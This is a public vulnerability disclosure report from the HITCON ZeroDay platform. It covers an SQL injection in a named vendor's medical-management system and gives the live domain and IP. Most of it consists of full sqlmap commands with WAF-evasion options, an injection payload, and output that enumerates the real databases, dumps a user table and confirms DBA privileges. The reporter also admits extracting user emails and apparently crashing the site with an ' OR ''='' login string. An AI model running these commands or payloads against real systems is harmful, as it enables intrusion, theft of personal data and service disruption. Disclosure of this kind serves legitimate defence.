肯瑞醫事管理系統 SQL注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-01022
  •  發信 Vendor: 肯瑞智能科技股份有限公司
  • Title: 肯瑞醫事管理系統 SQL注入漏洞
  • Introduction: mysql注入漏洞

處理狀態

目前狀態

公開
Last Update : 2026/10/14
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/08/14 02:48:04 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/14 02:49:11 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/14 02:52:20 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/14 04:49:13 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/14 05:38:39 : 新提交 (由 桃園怪人協會幹部之一 更新此狀態)
  • 2026/08/18 17:14:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/22 14:47:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/22 14:47:27 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/10/14 03:00:08 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://www.rgm.com.tw:8443/
https://211.72.121.69:8443

敘述

sqlmap -u "https://www.rgm.com.tw:8443/login.jsp?uid=admin&pwd=admin" \
-p "uid,pwd" \
--header "Referer: https://211.72.121.69:8443/index.jsp" \
--method GET \
--batch \
--level 3 \
--risk 2 \
--random-agent \
--threads 5 \
--tamper space2comment \
--skip-waf \
--hex \
--force-ssl

偵測後可以注入
[02:32:39] [INFO] GET parameter 'uid' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (2) values? [Y/n] Y
[02:32:39] [INFO] testing 'Generic inline queries'
[02:32:39] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:32:39] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:32:39] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[02:32:40] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[02:32:40] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[02:32:40] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[02:32:41] [INFO] checking if the injection point on GET parameter 'uid' is a false positive
GET parameter 'uid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 290 HTTP(s) requests:

Parameter: uid (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: uid=admin' RLIKE (SELECT (CASE WHEN (7863=7863) THEN 0x61646d696e ELSE 0x28 END)) OR 'nDmh'='iiXh&pwd=admin

[02:32:41] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[02:32:41] [INFO] the back-end DBMS is MySQL
web application technology: Django, JSP
back-end DBMS: MySQL
[02:32:41] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 12 times
[02:32:41] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/www.rgm.com.tw'

[*] ending @ 02:32:41 /2026-08-14/

sqlmap -u "https://211.72.121.69:8443/login.jsp?uid=admin&pwd=admin" \
-p "uid" \
--dbs \
--batch \
--random-agent \
--force-ssl \
--level 3 \
--risk 2

成功提取表名
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: uid=admin' RLIKE (SELECT (CASE WHEN (6772=6772) THEN 0x61646d696e ELSE 0x28 END)) OR 'ZCiG'='omzh&pwd=admin

[02:29:52] [INFO] the back-end DBMS is MySQL
web application technology: Django, JSP
back-end DBMS: MySQL unknown
[02:29:52] [INFO] fetching database names
[02:29:52] [INFO] fetching number of databases
[02:29:52] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:29:52] [INFO] retrieved: 6
[02:29:52] [INFO] retrieved: mysql
[02:29:53] [INFO] retrieved: information_schema
[02:29:55] [INFO] retrieved: performance_schema
[02:29:56] [INFO] retrieved: sys
[02:29:56] [INFO] retrieved: rjm
[02:29:57] [INFO] retrieved: llea

沒進去基本上沒圖片
只有測試

並寫測試首次dump別人家數據庫
測試完成後 數據都會移除
這是我的dump命令

sqlmap -u "https://211.72.121.69:8443/login.jsp?uid=admin&pwd=admin" \
-p "uid" \
-D rjm \
-T rjm_user \
--dump \
--batch \
--random-agent \
--force-ssl \
--level 3 \
--risk 2 \
--threads 5 \
--hex \
--output-dir="/kok/8787/1234"

DUMP跑了7分鐘 太煎熬了 放棄了 不過確實從LOG中有看到 EMAIL

根據判斷屬於DBA

ELECT user, host, select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, super_priv, file_priv FROM mysql.user WHERE user = 'rjmadmin';

[04:47:48] [INFO] retrieved: rjmadmin@localhost
SELECT USER(): 'rjmadmin@localhost'
sql-shell> SELECT user, host, select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, super_priv, file_priv FROM mysql.user WHERE user = 'rjmadmin';
[04:48:07] [INFO] fetching SQL SELECT statement query output: 'SELECT user, host, select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, super_priv, file_priv FROM mysql.user WHERE user = 'rjmadmin''
[04:48:07] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind
[04:48:07] [INFO] retrieved: 1
[04:48:07] [INFO] retrieved: rjmadmin
[04:48:08] [INFO] retrieved: %
[04:48:08] [INFO] retrieved: Y
[04:48:09] [INFO] retrieved: Y
[04:48:09] [INFO] retrieved: Y
[04:48:09] [INFO] retrieved: Y
[04:48:09] [INFO] retrieved: Y
[04:48:09] [INFO] retrieved: Y
[04:48:09] [INFO] retrieved: Y
[04:48:10] [INFO] retrieved: Y
SELECT user, host, select_priv, insert_priv, update_priv, delete_priv, create_priv, drop_priv, super_priv, file_priv FROM mysql.user WHERE user = 'rjmadmin': 'rjmadmin,%,Y,Y,Y,Y,Y,Y,Y,Y'
sql-shell>

我好像犯下大錯了
使用 ' OR ''=''# 做為用戶名 網站好像崩掉了

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;